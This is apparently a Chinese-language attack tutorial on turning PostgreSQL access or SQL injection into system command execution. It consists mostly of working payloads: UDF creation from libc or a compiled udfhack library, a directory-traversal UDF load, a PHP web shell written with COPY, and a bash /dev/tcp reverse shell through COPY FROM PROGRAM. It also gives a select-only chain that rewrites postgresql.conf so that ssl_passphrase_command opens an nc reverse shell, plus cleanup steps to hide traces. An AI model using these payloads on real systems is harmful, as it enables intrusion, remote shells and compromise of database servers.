UDF

8.2以下可以直接调用系统的动态链接库/lib/libc.so.6或者是/lib64/libc.so.6(未测试)

1
2
3
4
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
CREATE FUNCTION system(cstring) RETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;

select system('id');

8.2及以上版本可直接利用sqlmap/data/udf中所提供的udf文件,我这里测试了一下9.5的,好像没法用

1
2
postgres=# CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
ERROR: could not load library "/tmp/udf.so": /tmp/udf.so: invalid ELF header

不过好在还可以利用udfhack自己生成任意版本的udf

找到对应版本的postgresql源码(这里我用的12.2),进行本地安装

1
2
3
./configure -prefix=/usr/local/pgsql --without-readline --without-zlib
make
make install

利用udfhack生成udf

1
2
3
4
git clone https://github.com/sqlmapproject/udfhack
cd udfhack/linux/lib_postgresqludf_sys
gcc -Wall -I/usr/local/pgsql/include/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
strip -sx lib_postgresqludf_sys.so


在目标上写入生成的udf文件

1
2
3
4
5
select lo_from_bytea(9999, '\x......');
select lo_export(9999,'/tmp/udf.so');
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id');
drop function sys_eval;

利用目录穿越加载udf

另外某国外大佬发现在最新版的postgresql中,superuser不再允许从***/PostgreSQL/11/lib之外的地方加载udf文件,且该目录不允许NETWORK_SERVICE或者postgres写入文件。但是作者发现可以利用一个目录穿越漏洞进行加载udf文件,向下面这样

1
2
3
4
-- 写入文件到***/PostgreSQL/11/data
select lo_export(9999,'udf.so');
-- 目录穿越加载udf
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '../data/udf.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

利用COPY特性getshell

postgresql 9.3开始引入COPY,可利用其特性进行getshell

copy to

1
copy (select '<?php phpinfo();?>') to '/var/www/html/shell.php';

copy from program

1
2
create table tmp(t text);
copy tmp from program 'bash -c "/bin/bash -i >& /dev/tcp/127.0.0.1/9999 0>&1"';

写配置文件getshell

所有的操作仅需select进行,非堆叠注入可考虑,linux下专用

获取配置文件内容

查询配置文件目录

1
select setting from pg_settings where name='config_file';

利用lo_import读取配置文件,指定loid为1234

1
select lo_import('/etc/postgresql/12/main/postgresql.conf', 1234);

查询对应loid,获取并还原配置文件内容

1
select string_agg(data,'') from pg_largeobject where loid='1234';

构造带passphrase的ssl_key_file

查看还原后的配置文件中ssl_key_file的路径为’/etc/ssl/private/ssl-cert-snakeoil.key’,读取ssl_key_file的内容

1
select pg_read_file('/etc/ssl/private/ssl-cert-snakeoil.key');


通过openssl构造一个带passphrase的ssl_key_file,passphrase可任意

1
openssl rsa -aes256 -in /tmp/ssl-cert-snakeoil.key -out /tmp/ssl-passphrase.key

利用lo_from_bytea写入构造后的ssl_key_file内容

1
2
3
4
5
6
7
select lo_from_bytea(4321,'\x2d2d2d2d2d424547...4b45592d2d2d2d2d0a');

-- 语句过长时可采用lo_put分次写入
select lo_from_bytea(4321,'\x2d2d2d2d2d');
select lo_put(4321,5,'\x424547...');
...
select lo_put(4321,1790,'\x2d2d2d2d2d0a');

修改表中配置文件内容

查看ssl_key_file所在位置,利用lo_put注释掉该行内容

1
cat /tmp/postgresql.conf | grep -b ssl_key_file
1
select lo_put(1234,4063,'\x23');

查看配置文件总长,并在最后添加三行配置用于执行命令

1
2
3
4
5
ssl_key_file = '/var/lib/postgresql/12/main/PG_VERSION'
ssl_passphrase_command_supports_reload = on
ssl_passphrase_command = 'bash -c "test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 127.0.0.1 9999 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0"'

select lo_put(1234,26784,'\x73736c5f6b65795f66696c65203d20272f7661722f6c69622f706f737467726573716c2f31322f6d61696e2f50475f56455253494f4e270a73736c5f706173737068726173655f636f6d6d616e645f737570706f7274735f72656c6f6164203d206f6e0a73736c5f706173737068726173655f636f6d6d616e64203d202762617368202d63202274657374202d70202f6465762f73686d2f70697065207c7c206d6b6669666f202f6465762f73686d2f706970653b206e63203132372e302e302e312039393939203c202f6465762f73686d2f70697065207c202f62696e2f62617368203e202f6465762f73686d2f706970652026206563686f20706173737068726173653b2065786974203022270a');

写入文件GETSHELL

1
2
3
select lo_export(1234,'/etc/postgresql/12/main/postgresql.conf');
select lo_export(4321,'/var/lib/postgresql/12/main/PG_VERSION');
select pg_reload_conf();

清理数据

1
2
3
4
select lo_unlink(1234);
select lo_unlink(4321);

-- 最好将配置文件啥的还原回去,否则postgresql重启后是无法使用的

坑点

  • 各种操作必须小心,最终的写入之前,一定要检查内容是否正确,不然数据库真的可能会挂
  • loid位数不宜设置过高,不然操作pg_largeobject中的文件内容时会出现各种错误
  • 配置文件最后添加三行代码时,lo_put指定的位置应该为配置文件长度-1,不然lo_put会以一个00字节填充,造成写入后无法识别配置的问题

Reference

https://www.postgresql.org/ftp
https://github.com/sqlmapproject/udfhack
https://pulsesecurity.co.nz/articles/postgres-sqli
https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html